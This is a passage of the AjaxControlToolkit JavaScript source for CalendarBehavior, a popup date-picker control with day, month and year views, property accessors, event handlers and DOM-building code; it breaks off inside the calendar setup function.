/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />
/// <reference path="../Common/DateTime.js" />
/// <reference path="../Common/Threading.js" />
/// <reference path="../Compat/Timer/Timer.js" />
/// <reference path="../Animation/Animations.js" />
/// <reference path="../Animation/AnimationBehavior.js" />
/// <reference path="../PopupExtender/PopupBehavior.js" />


Type.registerNamespace("AjaxControlToolkit");

AjaxControlToolkit.CalendarBehavior = function(element) {
    /// <summary>
    /// A behavior that attaches a calendar date selector to a textbox
    /// </summmary>
    /// <param name="element" type="Sys.UI.DomElement">The element to attach to</param>

    AjaxControlToolkit.CalendarBehavior.initializeBase(this, [element]);

    this._textbox = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(element);
    this._format = "d";
    this._todaysDateFormat = "MMMM d, yyyy";
    this._daysModeTitleFormat = "MMMM, yyyy";
    this._cssClass = "ajax__calendar";
    this._enabled = true;
    this._animated = true;
    this._buttonID = null;
    this._layoutRequested = 0;
    this._layoutSuspended = false;
    this._button = null;
    this._popupMouseDown = false;
    this._selectedDate = null;
    this._visibleDate = null;
    this._todaysDate = null;
    this._firstDayOfWeek = AjaxControlToolkit.FirstDayOfWeek.Default;
    this._firstPopUp = true;

    this._container = null;
    this._popupDiv = null;
    this._header = null;
    this._prevArrow = null;
    this._nextArrow = null;
    this._title = null;
    this._body = null;
    this._today = null;
    this._days = null;
    this._daysTable = null;
    this._daysTableHeader = null;
    this._daysTableHeaderRow = null;
    this._daysBody = null;
    this._months = null;
    this._monthsTable = null;
    this._monthsBody = null;
    this._years = null;
    this._yearsTable = null;
    this._yearsBody = null;
    this._popupPosition = AjaxControlToolkit.CalendarPosition.BottomLeft;
    this._defaultView = AjaxControlToolkit.CalendarDefaultView.Days;

    this._popupBehavior = null;
    this._modeChangeAnimation = null;
    this._modeChangeMoveTopOrLeftAnimation = null;
    this._modeChangeMoveBottomOrRightAnimation = null;
    this._mode = "days";
    this._selectedDateChanging = false;
    this._isOpen = false;
    this._isAnimating = false;
    this._clearTime = false;
    this._width = 170;
    this._height = 139;
    this._modes = { "days": null, "months": null, "years": null };
    this._modeOrder = { "days": 0, "months": 1, "years": 2 };
    this._hourOffsetForDst = 12;  // Hour value for calls to new Date(...) to avoid DST issues
    this._blur = new AjaxControlToolkit.DeferredOperation(1, this, this.blur);

    this._button$delegates = {
        click: Function.createDelegate(this, this._button_onclick),
        keypress: Function.createDelegate(this, this._button_onkeypress),
        blur: Function.createDelegate(this, this._button_onblur)
    }
    this._element$delegates = {
        change: Function.createDelegate(this, this._element_onchange),
        keypress: Function.createDelegate(this, this._element_onkeypress),
        click: Function.createDelegate(this, this._element_onclick),
        focus: Function.createDelegate(this, this._element_onfocus),
        blur: Function.createDelegate(this, this._element_onblur)
    }
    this._popup$delegates = {
        mousedown: Function.createDelegate(this, this._popup_onmousedown),
        mouseup: Function.createDelegate(this, this._popup_onmouseup),
        drag: Function.createDelegate(this, this._popup_onevent),
        dragstart: Function.createDelegate(this, this._popup_onevent),
        select: Function.createDelegate(this, this._popup_onevent)
    }
    this._cell$delegates = {
        mouseover: Function.createDelegate(this, this._cell_onmouseover),
        mouseout: Function.createDelegate(this, this._cell_onmouseout),
        click: Function.createDelegate(this, this._cell_onclick)
    }
}
AjaxControlToolkit.CalendarBehavior.prototype = {

    get_clearTime: function() {
        /// <summary>
        /// Whether time should be cleared in edited date/time
        /// </summary>
        /// <value type="Boolean" />

        return this._clearTime;
    },
    set_clearTime: function(value) {
        if (this._clearTime != value) {
            this._clearTime = value;
            this.raisePropertyChanged("_clearTime");
        }
    },

    get_animated: function() {
        /// <summary>
        /// Whether changing modes is animated
        /// </summary>
        /// <value type="Boolean" />

        return this._animated;
    },
    set_animated: function(value) {
        if (this._animated != value) {
            this._animated = value;
            this.raisePropertyChanged("animated");
        }
    },

    get_enabled: function() {
        /// <value type="Boolean">
        /// Whether this behavior is available for the current element
        /// </value>

        return this._enabled;
    },
    set_enabled: function(value) {
        if (this._enabled != value) {
            this._enabled = value;
            this.raisePropertyChanged("enabled");
        }
    },

    get_button: function() {
        /// <value type="Sys.UI.DomElement">
        /// The button to use to show the calendar (optional)
        /// </value>

        return this._button;
    },
    set_button: function(value) {
        if (this._button != value) {
            if (this._button && this.get_isInitialized()) {
                $common.removeHandlers(this._button, this._button$delegates);
            }
            this._button = value;
            if (this._button && this.get_isInitialized()) {
                $addHandlers(this._button, this._button$delegates);
            }
            this.raisePropertyChanged("button");
        }
    },

    get_popupPosition: function() {
        /// <value type="AjaxControlToolkit.CalendarPosition">
        /// Where the popup should be positioned relative to the target control.
        /// Can be BottomLeft (Default), BottomRight, TopLeft, TopRight.
        /// </value>

        return this._popupPosition;
    },
    set_popupPosition: function(value) {
        if (this._popupPosition != value) {
            this._popupPosition = value;
            this.raisePropertyChanged('popupPosition');
        }
    },

    get_format: function() {
        /// <value type="String">
        /// The format to use for the date value
        /// </value>

        return this._format;
    },
    set_format: function(value) {
        if (this._format != value) {
            this._format = value;
            this.raisePropertyChanged("format");
        }
    },
    
    get_todaysDateFormat: function() {
        /// <value type="String">
        /// The format to use for the todays date
        /// </value>

        return this._todaysDateFormat;
    },
    set_todaysDateFormat: function(value) {
        if (this._todaysDateFormat != value) {
            this._todaysDateFormat = value;
            this.raisePropertyChanged("todaysDateFormat");
        }
    },

    get_daysModeTitleFormat: function() {
        /// <value type="String">
        /// The format to use for the title when in days mode
        /// </value>

        return this._daysModeTitleFormat;
    },
    set_daysModeTitleFormat: function(value) {
        if (this._daysModeTitleFormat != value) {
            this._daysModeTitleFormat = value;
            this.raisePropertyChanged("daysModeTitleFormat");
        }
    },

    get_selectedDate: function() {
        /// <value type="Date">
        /// The date value represented by the text box
        /// </value>

        if (this._selectedDate == null) {
            var value = this._textbox.get_Value();
            if (value) {
                value = this._parseTextValue(value);
                if (value) {
                    this._selectedDate = value.getDateOnly();
                }
            }
        }
        return this._selectedDate;
    },
    set_selectedDate: function(value) {
        if (value && (String.isInstanceOfType(value)) && (value.length != 0)) {
            value = new Date(value);
        }

        if (value) value = value.getDateOnly();

        if (this._selectedDate != value) {
            this._selectedDate = value;
            this._selectedDateChanging = true;
            var text = "";
            if (value) {
                text = value.localeFormat(this._format);
                if (!this._clearTime) {
                    var tbvalue = this._textbox.get_Value();
                    if (tbvalue) {
                        tbvalue = this._parseTextValue(tbvalue);
                    }
                    if (tbvalue) {
                        if (value != tbvalue.getDateOnly()) {
                            text = value.add(tbvalue.getTimeOfDay()).localeFormat(this._format);
                        }
                    }
                }
            }
            if (text != this._textbox.get_Value()) {
                this._textbox.set_Value(text);
                this._fireChanged();
            }
            this._selectedDateChanging = false;
            this.invalidate();
            this.raisePropertyChanged("selectedDate");
        }
    },

    get_defaultView: function() {
        /// <value type="AjaxControlToolkit.CalendarDefaultView">
        /// The default view of the calendar when it first pops up.
        /// </value>

        return this._defaultView;
    },
    set_defaultView: function(value) {
        if (this._defaultView != value) {
            this._defaultView = value;
            this.raisePropertyChanged("defaultView");
        }
    },

    get_visibleDate: function() {
        /// <summary>
        /// The date currently visible in the calendar
        /// </summary>
        /// <value type="Date" />

        return this._visibleDate;
    },
    set_visibleDate: function(value) {
        if (value) value = value.getDateOnly();
        if (this._visibleDate != value) {
            this._switchMonth(value, !this._isOpen);
            this.raisePropertyChanged("visibleDate");
        }
    },

    get_isOpen: function() {
        /// <value type="Boolean">
        /// Whether the calendar is open
        /// </value>
        return this._isOpen;
    },

    get_todaysDate: function() {
        /// <value type="Date">
        /// The date to use for "Today"
        /// </value>
        if (this._todaysDate != null) {
            return this._todaysDate;
        }
        return new Date().getDateOnly();
    },
    set_todaysDate: function(value) {
        if (value) value = value.getDateOnly();
        if (this._todaysDate != value) {
            this._todaysDate = value;
            this.invalidate();
            this.raisePropertyChanged("todaysDate");
        }
    },

    get_firstDayOfWeek: function() {
        /// <value type="AjaxControlToolkit.FirstDayOfWeek">
        /// The day of the week to appear as the first day in the calendar
        /// </value>

        return this._firstDayOfWeek;
    },
    set_firstDayOfWeek: function(value) {
        if (this._firstDayOfWeek != value) {
            this._firstDayOfWeek = value;
            this.invalidate();
            this.raisePropertyChanged("firstDayOfWeek");
        }
    },

    get_cssClass: function() {
        /// <value type="String">
        /// The CSS class selector to use to change the calendar's appearance
        /// </value>

        return this._cssClass;
    },
    set_cssClass: function(value) {
        if (this._cssClass != value) {
            if (this._cssClass && this.get_isInitialized()) {
                Sys.UI.DomElement.removeCssClass(this._container, this._cssClass);
            }
            this._cssClass = value;
            if (this._cssClass && this.get_isInitialized()) {
                Sys.UI.DomElement.addCssClass(this._container, this._cssClass);
            }
            this.raisePropertyChanged("cssClass");
        }
    },

    get_todayButton: function() {
        /// <value type="Sys.UI.DomElement">
        /// The button used to select todays date
        /// </value>

        return this._today;
    },

    get_dayCell: function(row, col) {
        /// <value type="Sys.UI.DomElement">
        /// Gets the day cell at the specified row or column
        /// </value>
        if (this._daysBody) {
            return this._daysBody.rows[row].cells[col].firstChild;
        }
        return null;
    },

    add_showing: function(handler) {
        /// <summary>
        /// Adds an event handler for the <code>showiwng</code> event.
        /// </summary>
        /// <param name="handler" type="Function">
        /// The handler to add to the event.
        /// </param>
        /// <returns />

        this.get_events().addHandler("showing", handler);
    },
    remove_showing: function(handler) {
        /// <summary>
        /// Removes an event handler for the <code>showing</code> event.
        /// </summary>
        /// <param name="handler" type="Function">
        /// The handler to remove from the event.
        /// </param>
        /// <returns />

        this.get_events().removeHandler("showing", handler);
    },
    raiseShowing: function(eventArgs) {
        /// <summary>
        /// Raise the showing event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the showing event
        /// </param>
        /// <returns />

        var handler = this.get_events().getHandler('showing');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    add_shown: function(handler) {
        /// <summary>
        /// Adds an event handler for the <code>shown</code> event.
        /// </summary>
        /// <param name="handler" type="Function">
        /// The handler to add to the event.
        /// </param>
        /// <returns />

        this.get_events().addHandler("shown", handler);
    },
    remove_shown: function(handler) {
        /// <summary>
        /// Removes an event handler for the <code>shown</code> event.
        /// </summary>
        /// <param name="handler" type="Function">
        /// The handler to remove from the event.
        /// </param>
        /// <returns />

        this.get_events().removeHandler("shown", handler);
    },
    raiseShown: function() {
        /// <summary>
        /// Raise the <code>shown</code> event
        /// </summary>
        /// <returns />

        var handlers = this.get_events().getHandler("shown");
        if (handlers) {
            handlers(this, Sys.EventArgs.Empty);
        }
    },

    add_hiding: function(handler) {
        /// <summary>
        /// Adds an event handler for the <code>hiding</code> event.
        /// </summary>
        /// <param name="handler" type="Function">
        /// The handler to add to the event.
        /// </param>
        /// <returns />

        this.get_events().addHandler("hiding", handler);
    },
    remove_hiding: function(handler) {
        /// <summary>
        /// Removes an event handler for the <code>hiding</code> event.
        /// </summary>
        /// <param name="handler" type="Function">
        /// The handler to remove from the event.
        /// </param>
        /// <returns />

        this.get_events().removeHandler("hiding", handler);
    },
    raiseHiding: function(eventArgs) {
        /// <summary>
        /// Raise the hiding event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the hiding event
        /// </param>
        /// <returns />

        var handler = this.get_events().getHandler('hiding');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    add_hidden: function(handler) {
        /// <summary>
        /// Adds an event handler for the <code>hidden</code> event.
        /// </summary>
        /// <param name="handler" type="Function">
        /// The handler to add to the event.
        /// </param>
        /// <returns />

        this.get_events().addHandler("hidden", handler);
    },
    remove_hidden: function(handler) {
        /// <summary>
        /// Removes an event handler for the <code>hidden</code> event.
        /// </summary>
        /// <param name="handler" type="Function">
        /// The handler to remove from the event.
        /// </param>
        /// <returns />

        this.get_events().removeHandler("hidden", handler);
    },
    raiseHidden: function() {
        /// <summary>
        /// Raise the <code>hidden</code> event
        /// </summary>
        /// <returns />

        var handlers = this.get_events().getHandler("hidden");
        if (handlers) {
            handlers(this, Sys.EventArgs.Empty);
        }
    },

    add_dateSelectionChanged: function(handler) {
        /// <summary>
        /// Adds an event handler for the <code>dateSelectionChanged</code> event.
        /// </summary>
        /// <param name="handler" type="Function">
        /// The handler to add to the event.
        /// </param>
        /// <returns />

        this.get_events().addHandler("dateSelectionChanged", handler);
    },
    remove_dateSelectionChanged: function(handler) {
        /// <summary>
        /// Removes an event handler for the <code>dateSelectionChanged</code> event.
        /// </summary>
        /// <param name="handler" type="Function">
        /// The handler to remove from the event.
        /// </param>
        /// <returns />

        this.get_events().removeHandler("dateSelectionChanged", handler);
    },
    raiseDateSelectionChanged: function() {
        /// <summary>
        /// Raise the <code>dateSelectionChanged</code> event
        /// </summary>
        /// <returns />

        var handlers = this.get_events().getHandler("dateSelectionChanged");
        if (handlers) {
            handlers(this, Sys.EventArgs.Empty);
        }
    },

    initialize: function() {
        /// <summary>
        /// Initializes the components and parameters for this behavior
        /// </summary>

        AjaxControlToolkit.CalendarBehavior.callBaseMethod(this, "initialize");

        var elt = this.get_element();
        $addHandlers(elt, this._element$delegates);

        if (this._button) {
            $addHandlers(this._button, this._button$delegates);
        }

        this._modeChangeMoveTopOrLeftAnimation = new AjaxControlToolkit.Animation.LengthAnimation(null, null, null, "style", null, 0, 0, "px");
        this._modeChangeMoveBottomOrRightAnimation = new AjaxControlToolkit.Animation.LengthAnimation(null, null, null, "style", null, 0, 0, "px");
        this._modeChangeAnimation = new AjaxControlToolkit.Animation.ParallelAnimation(null, .25, null, [this._modeChangeMoveTopOrLeftAnimation, this._modeChangeMoveBottomOrRightAnimation]);

        var value = this.get_selectedDate();
        if (value) {
            this.set_selectedDate(value);
        }
    },
    dispose: function() {
        /// <summary>
        /// Disposes this behavior's resources
        /// </summary>

        if (this._popupBehavior) {
            this._popupBehavior.dispose();
            this._popupBehavior = null;
        }
        this._modes = null;
        this._modeOrder = null;
        if (this._modeChangeMoveTopOrLeftAnimation) {
            this._modeChangeMoveTopOrLeftAnimation.dispose();
            this._modeChangeMoveTopOrLeftAnimation = null;
        }
        if (this._modeChangeMoveBottomOrRightAnimation) {
            this._modeChangeMoveBottomOrRightAnimation.dispose();
            this._modeChangeMoveBottomOrRightAnimation = null;
        }
        if (this._modeChangeAnimation) {
            this._modeChangeAnimation.dispose();
            this._modeChangeAnimation = null;
        }
        if (this._container) {
            if (this._container.parentNode) { // added this check before calling removeChild WI: 8486
                this._container.parentNode.removeChild(this._container);
            }
            this._container = null;
        }
        if (this._popupDiv) {
            $common.removeHandlers(this._popupDiv, this._popup$delegates);
            this._popupDiv = null;
        }
        if (this._prevArrow) {
            $common.removeHandlers(this._prevArrow, this._cell$delegates);
            this._prevArrow = null;
        }
        if (this._nextArrow) {
            $common.removeHandlers(this._nextArrow, this._cell$delegates);
            this._nextArrow = null;
        }
        if (this._title) {
            $common.removeHandlers(this._title, this._cell$delegates);
            this._title = null;
        }
        if (this._today) {
            $common.removeHandlers(this._today, this._cell$delegates);
            this._today = null;
        }
        if (this._button) {
            $common.removeHandlers(this._button, this._button$delegates);
            this._button = null;
        }
        if (this._daysBody) {
            for (var i = 0; i < this._daysBody.rows.length; i++) {
                var row = this._daysBody.rows[i];
                for (var j = 0; j < row.cells.length; j++) {
                    $common.removeHandlers(row.cells[j].firstChild, this._cell$delegates);
                }
            }
            this._daysBody = null;
        }
        if (this._monthsBody) {
            for (var i = 0; i < this._monthsBody.rows.length; i++) {
                var row = this._monthsBody.rows[i];
                for (var j = 0; j < row.cells.length; j++) {
                    $common.removeHandlers(row.cells[j].firstChild, this._cell$delegates);
                }
            }
            this._monthsBody = null;
        }
        if (this._yearsBody) {
            for (var i = 0; i < this._yearsBody.rows.length; i++) {
                var row = this._yearsBody.rows[i];
                for (var j = 0; j < row.cells.length; j++) {
                    $common.removeHandlers(row.cells[j].firstChild, this._cell$delegates);
                }
            }
            this._yearsBody = null;
        }
        var elt = this.get_element();
        $common.removeHandlers(elt, this._element$delegates);
        AjaxControlToolkit.CalendarBehavior.callBaseMethod(this, "dispose");
    },

    show: function() {
        /// <summary>
        /// Shows the calendar
        /// </summary>

        this._ensureCalendar();

        if (!this._isOpen) {

            var eventArgs = new Sys.CancelEventArgs();
            this.raiseShowing(eventArgs);
            if (eventArgs.get_cancel()) {
                return;
            }

            this._isOpen = true;

            this._popupBehavior.show();

            if (this._firstPopUp) {
                this._switchMonth(null, true);
                switch (this._defaultView) {
                    case AjaxControlToolkit.CalendarDefaultView.Months:
                        this._switchMode("months", true);
                        break;
                    case AjaxControlToolkit.CalendarDefaultView.Years:
                        this._switchMode("years", true);
                        break;
                }
                this._firstPopUp = false;
            }
            
            this.raiseShown();
        }
    },
    hide: function() {
        /// <summary>
        /// Hides the calendar
        /// </summary>

        if (this._isOpen) {
            var eventArgs = new Sys.CancelEventArgs();
            this.raiseHiding(eventArgs);
            if (eventArgs.get_cancel()) {
                return;
            }

            if (this._container) {
                this._popupBehavior.hide();
            }
            this._isOpen = false;
            this.raiseHidden();

            // make sure we clean up the flag due to issues with alert/alt-tab/etc
            this._popupMouseDown = false;
        }
    },
    focus: function() {
        if (this._button) {
            this._button.focus();
        } else {
            this.get_element().focus();
        }
    },
    blur: function(force) {
        if (!force && Sys.Browser.agent === Sys.Browser.Opera) {
            this._blur.post(true);
        } else {
            if (!this._popupMouseDown) {
                this.hide();
            }
            // make sure we clean up the flag due to issues with alert/alt-tab/etc
            this._popupMouseDown = false;
        }
    },

    suspendLayout: function() {
        /// <summary>
        /// Suspends layout of the behavior while setting properties
        /// </summary>

        this._layoutSuspended++;
    },
    resumeLayout: function() {
        /// <summary>
        /// Resumes layout of the behavior and performs any pending layout requests
        /// </summary>

        this._layoutSuspended--;
        if (this._layoutSuspended <= 0) {
            this._layoutSuspended = 0;
            if (this._layoutRequested) {
                this._performLayout();
            }
        }
    },
    invalidate: function() {
        /// <summary>
        /// Performs layout of the behavior unless layout is suspended
        /// </summary>

        if (this._layoutSuspended > 0) {
            this._layoutRequested = true;
        } else {
            this._performLayout();
        }
    },

    _buildCalendar: function() {
        /// <summary>
        /// Builds the calendar's layout
        /// </summary>

        var elt = this.get_element();
        var id = this.get_id();

        this._container = $common.createElementFromTemplate({
            nodeName: "div",
            properties: { id: id + "_container" },
            cssClasses: [this._cssClass],
            visible: false
        }, elt.parentNode);

        this._popupDiv = $common.createElementFromTemplate({
            nodeName: "div",
            events: this._popup$delegates,
            properties: {
                id: id + "_popupDiv"
            },
            cssClasses: ["ajax__calendar_container"]            
        }, this._container);
    },
    _buildHeader: function() {
        /// <summary>
        /// Builds the header for the calendar
        /// </summary>

        var id = this.get_id();

        this._header = $common.createElementFromTemplate({
            nodeName: "div",
            properties: { id: id + "_header" },
            cssClasses: ["ajax__calendar_header"]
        }, this._popupDiv);

        var prevArrowWrapper = $common.createElementFromTemplate({ nodeName: "div" }, this._header);
        this._prevArrow = $common.createElementFromTemplate({
            nodeName: "div",
            properties: {
                id: id + "_prevArrow",
                mode: "prev"
            },
            events: this._cell$delegates,
            cssClasses: ["ajax__calendar_prev"]
        }, prevArrowWrapper);

        var nextArrowWrapper = $common.createElementFromTemplate({ nodeName: "div" }, this._header);
        this._nextArrow = $common.createElementFromTemplate({
            nodeName: "div",
            properties: {
                id: id + "_nextArrow",
                mode: "next"
            },
            events: this._cell$delegates,
            cssClasses: ["ajax__calendar_next"]
        }, nextArrowWrapper);

        var titleWrapper = $common.createElementFromTemplate({ nodeName: "div" }, this._header);

        this._title = $common.createElementFromTemplate({
            nodeName: "div",
            properties: {
                id: id + "_title",
                mode: "title"
            },
            events: this._cell$delegates,
            cssClasses: ["ajax__calendar_title"]
        }, titleWrapper);
    },
    _buildBody: function() {
        /// <summary>
        /// Builds the body region for the calendar
        /// </summary>

        this._body = $common.createElementFromTemplate({
            nodeName: "div",
            properties: { id: this.get_id() + "_body" },
            cssClasses: ["ajax__calendar_body"]
        }, this._popupDiv);

        this._buildDays();
        this._buildMonths();
        this._buildYears();
    },
    _buildFooter: function() {
        /// <summary>
        /// Builds the footer for the calendar
        /// </summary>

        var todayWrapper = $common.createElementFromTemplate({ nodeName: "div" }, this._popupDiv);
        this._today = $common.createElementFromTemplate({
            nodeName: "div",
            properties: {
                id: this.get_id() + "_today",
                mode: "today"
            },
            events: this._cell$delegates,
            cssClasses: ["ajax__calendar_footer", "ajax__calendar_today"]
        }, todayWrapper);
    },
    _buildDays: function() {
        /// <summary>
        /// Builds a "days of the month" view for the calendar
        /// </summary>

        var dtf = Sys.CultureInfo.CurrentCulture.dateTimeFormat;
        var id = this.get_id();

        this._days = $common.createElementFromTemplate({
            nodeName: "div",
            properties: { id: id + "_days" },
            cssClasses: ["ajax__calendar_days"]
        }, this._body);
        this._modes["days"] = this._days;

        this._daysTable = $common.createElementFromTemplate({
            nodeName: "table",
            properties: {
                id: id + "_daysTable",
                cellPadding: 0,
                cellSpacing: 0,
                border: 0,
                style: { margin: "auto" }
            }
        }, this._days);

        this._daysTableHeader = $common.createElementFromTemplate({ nodeName: "thead", properties: { id: id + "_daysTableHeader"} }, this._daysTable);
        this._daysTableHeaderRow = $common.createElementFromTemplate({ nodeName: "tr", properties: { id: id + "_daysTableHeaderRow"} }, this._daysTableHeader);
        for (var i = 0; i < 7; i++) {
            var dayCell = $common.createElementFromTemplate({ nodeName: "td" }, this._daysTableHeaderRow);
            var dayDiv = $common.createElementFromTemplate({
                nodeName: "div",
                cssClasses: ["ajax__calendar_dayname"]
            }, dayCell);
        }

        this._daysBody = $common.createElementFromTemplate({ nodeName: "tbody", properties: { id: id + "_daysBody"} }, this._daysTable);
        for (var i = 0; i < 6; i++) {
            var daysRow = $common.createElementFromTemplate({ nodeName: "tr" }, this._daysBody);
            for (var j = 0; j < 7; j++) {
                var dayCell = $common.createElementFromTemplate({ nodeName: "td" }, daysRow);
                var dayDiv = $common.createElementFromTemplate({
                    nodeName: "div",
                    properties: {
                        mode: "day",
                        id: id + "_day_" + i + "_" + j,
                        innerHTML: "&nbsp;"
                    },
                    events: this._cell$delegates,
                    cssClasses: ["ajax__calendar_day"]
                }, dayCell);
            }
        }
    },
    _buildMonths: function() {
        /// <summary>
        /// Builds a "months of the year" view for the calendar
        /// </summary>

        var dtf = Sys.CultureInfo.CurrentCulture.dateTimeFormat;
        var id = this.get_id();

        this._months = $common.createElementFromTemplate({
            nodeName: "div",
            properties: { id: id + "_months" },
            cssClasses: ["ajax__calendar_months"],
            visible: false
        }, this._body);
        this._modes["months"] = this._months;

        this._monthsTable = $common.createElementFromTemplate({
            nodeName: "table",
            properties: {
                id: id + "_monthsTable",
                cellPadding: 0,
                cellSpacing: 0,
                border: 0,
                style: { margin: "auto" }
            }
        }, this._months);

        this._monthsBody = $common.createElementFromTemplate({ nodeName: "tbody", properties: { id: id + "_monthsBody"} }, this._monthsTable);
        for (var i = 0; i < 3; i++) {
            var monthsRow = $common.createElementFromTemplate({ nodeName: "tr" }, this._monthsBody);
            for (var j = 0; j < 4; j++) {
                var monthCell = $common.createElementFromTemplate({ nodeName: "td" }, monthsRow);
                var monthDiv = $common.createElementFromTemplate({
                    nodeName: "div",
                    properties: {
                        id: id + "_month_" + i + "_" + j,
                        mode: "month",
                        month: (i * 4) + j,
                        innerHTML: "<br />" + dtf.AbbreviatedMonthNames[(i * 4) + j]
                    },
                    events: this._cell$delegates,
                    cssClasses: ["ajax__calendar_month"]
                }, monthCell);
            }
        }
    },
    _buildYears: function() {
        /// <summary>
        /// Builds a "years in this decade" view for the calendar
        /// </summary>

        var id = this.get_id();

        this._years = $common.createElementFromTemplate({
            nodeName: "div",
            properties: { id: id + "_years" },
            cssClasses: ["ajax__calendar_years"],
            visible: false
        }, this._body);
        this._modes["years"] = this._years;

        this._yearsTable = $common.createElementFromTemplate({
            nodeName: "table",
            properties: {
                id: id + "_yearsTable",
                cellPadding: 0,
                cellSpacing: 0,
                border: 0,
                style: { margin: "auto" }
            }
        }, this._years);

        this._yearsBody = $common.createElementFromTemplate({ nodeName: "tbody", properties: { id: id + "_yearsBody"} }, this._yearsTable);
        for (var i = 0; i < 3; i++) {
            var yearsRow = $common.createElementFromTemplate({ nodeName: "tr" }, this._yearsBody);
            for (var j = 0; j < 4; j++) {
                var yearCell = $common.createElementFromTemplate({ nodeName: "td" }, yearsRow);
                var yearDiv = $common.createElementFromTemplate({
                    nodeName: "div",
                    properties: {
                        id: id + "_year_" + i + "_" + j,
                        mode: "year",
                        year: ((i * 4) + j) - 1
                    },
                    events: this._cell$delegates,
                    cssClasses: ["ajax__calendar_year"]
                }, yearCell);
            }
        }
    },

    _performLayout: function() {
        /// <summmary>
        /// Updates the various views of the calendar to match the current selected and visible dates
        /// </summary>

        var elt = this.get_element();
        if (!elt) return;
        if (!this.get_isInitialized()) return;
        if (!this._isOpen) return;

        var dtf = Sys.CultureInfo.CurrentCulture.dateTimeFormat;
        var selectedDate = this.get_selectedDate();
        var visibleDate = this._getEffectiveVisibleDate();
        var todaysDate = this.get_todaysDate();

        switch (this._mode) {
            case "days":

                var firstDayOfWeek = this._getFirstDayOfWeek();
                var daysToBacktrack = visibleDate.getDay() - firstDayOfWeek;
                if (daysToBacktrack <= 0)
                    daysToBacktrack += 7;

                var startDate = new Date(visibleDate.getFullYear(), visibleDate.getMonth(), visibleDate.getDate() - daysToBacktrack, this._hourOffsetForDst);
                var currentDate = startDate;

                for (var i = 0; i < 7; i++) {
                    var dayCell = this._daysTableHeaderRow.cells[i].firstChild;
                    if (dayCell.firstChild) {
                        dayCell.removeChild(dayCell.firstChild);
                    }
                    dayCell.appendChild(document.createTextNode(dtf.ShortestDayNames[(i + firstDayOfWeek) % 7]));
                }
                for (var week = 0; week < 6; week++) {
                    var weekRow = this._daysBody.rows[week];
                    for (var dayOfWeek = 0; dayOfWeek < 7; dayOfWeek++) {
                        var dayCell = weekRow.cells[dayOfWeek].firstChild;
                        if (dayCell.firstChild) {
                            dayCell.removeChild(dayCell.firstChild);
                        }
                        dayCell.appendChild(document.createTextNode(currentDate.getDate()));
                        dayCell.title = currentDate.localeFormat("D");
                        dayCell.date = currentDate;
                        $common.removeCssClasses(dayCell.parentNode, ["ajax__calendar_other", "ajax__calendar_active"]);
                        Sys.UI.DomElement.addCssClass(dayCell.parentNode, this._getCssClass(dayCell.date, 'd'));
                        currentDate = new Date(currentDate.getFullYear(), currentDate.getMonth(), currentDate.getDate() + 1, this._hourOffsetForDst);
                    }
                }

                this._prevArrow.date = new Date(visibleDate.getFullYear(), visibleDate.getMonth() - 1, 1, this._hourOffsetForDst);
                this._nextArrow.date = new Date(visibleDate.getFullYear(), visibleDate.getMonth() + 1, 1, this._hourOffsetForDst);
                if (this._title.firstChild) {
                    this._title.removeChild(this._title.firstChild);
                }
                
                this._title.appendChild(document.createTextNode(visibleDate.localeFormat(this.get_daysModeTitleFormat())));
                this._title.date = visibleDate;

                break;
            case "months":

                for (var i = 0; i < this._monthsBody.rows.length; i++) {
                    var row = this._monthsBody.rows[i];
                    for (var j = 0; j < row.cells.length; j++) {
                        var cell = row.cells[j].firstChild;
                        cell.date = new Date(visibleDate.getFullYear(), cell.month, 1, this._hourOffsetForDst);
                        cell.title = cell.date.localeFormat("Y");
                        $common.removeCssClasses(cell.parentNode, ["ajax__calendar_other", "ajax__calendar_active"]);
                        Sys.UI.DomElement.addCssClass(cell.parentNode, this._getCssClass(cell.date, 'M'));
                    }
                }

                if (this._title.firstChild) {
                    this._title.removeChild(this._title.firstChild);
                }
                
                this._title.appendChild(document.createTextNode(visibleDate.localeFormat("yyyy")));
                this._title.date = visibleDate;
                this._prevArrow.date = new Date(visibleDate.getFullYear() - 1, 0, 1, this._hourOffsetForDst);
                this._nextArrow.date = new Date(visibleDate.getFullYear() + 1, 0, 1, this._hourOffsetForDst);

                break;
            case "years":

                var minYear = (Math.floor(visibleDate.getFullYear() / 10) * 10);
                for (var i = 0; i < this._yearsBody.rows.length; i++) {
                    var row = this._yearsBody.rows[i];
                    for (var j = 0; j < row.cells.length; j++) {
                        var cell = row.cells[j].firstChild;
                        cell.date = new Date(minYear + cell.year, 0, 1, this._hourOffsetForDst);
                        if (cell.firstChild) {
                            cell.removeChild(cell.lastChild);
                        } else {
                            cell.appendChild(document.createElement("br"));
                        }
                        cell.appendChild(document.createTextNode(minYear + cell.year));
                        $common.removeCssClasses(cell.parentNode, ["ajax__calendar_other", "ajax__calendar_active"]);
                        Sys.UI.DomElement.addCssClass(cell.parentNode, this._getCssClass(cell.date, 'y'));
                    }
                }

                if (this._title.firstChild) {
                    this._title.removeChild(this._title.firstChild);
                }
                
                this._title.appendChild(document.createTextNode(minYear.toString() + "-" + (minYear + 9).toString()));
                this._title.date = visibleDate;
                this._prevArrow.date = new Date(minYear - 10, 0, 1, this._hourOffsetForDst);
                this._nextArrow.date = new Date(minYear + 10, 0, 1, this._hourOffsetForDst);

                break;
        }
        if (this._today.firstChild) {
            this._today.removeChild(this._today.firstChild);
        }
        this._today.appendChild(document.createTextNode(String.format(AjaxControlToolkit.Resources.Calendar_Today, todaysDate.localeFormat(this.get_todaysDateFormat()))));
        this._today.date = todaysDate;
    },

    _ensureCalendar: function() {

        if (!this._container) {

            var elt = this.get_element();

            this._buildCalendar();
            this._buildHeader();
            this._buildBody();
            this._buildFooter();

            this._popupBehavior = new $create(AjaxControlToolkit.PopupBehavior, { parentElement: elt }, {}, {}, this._container);
            if (this._popupPosition == AjaxControlToolkit.CalendarPosition.TopLeft) {
                this._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.TopLeft);
            } else if (this._popupPosition == AjaxControlToolkit.CalendarPosition.TopRight) {
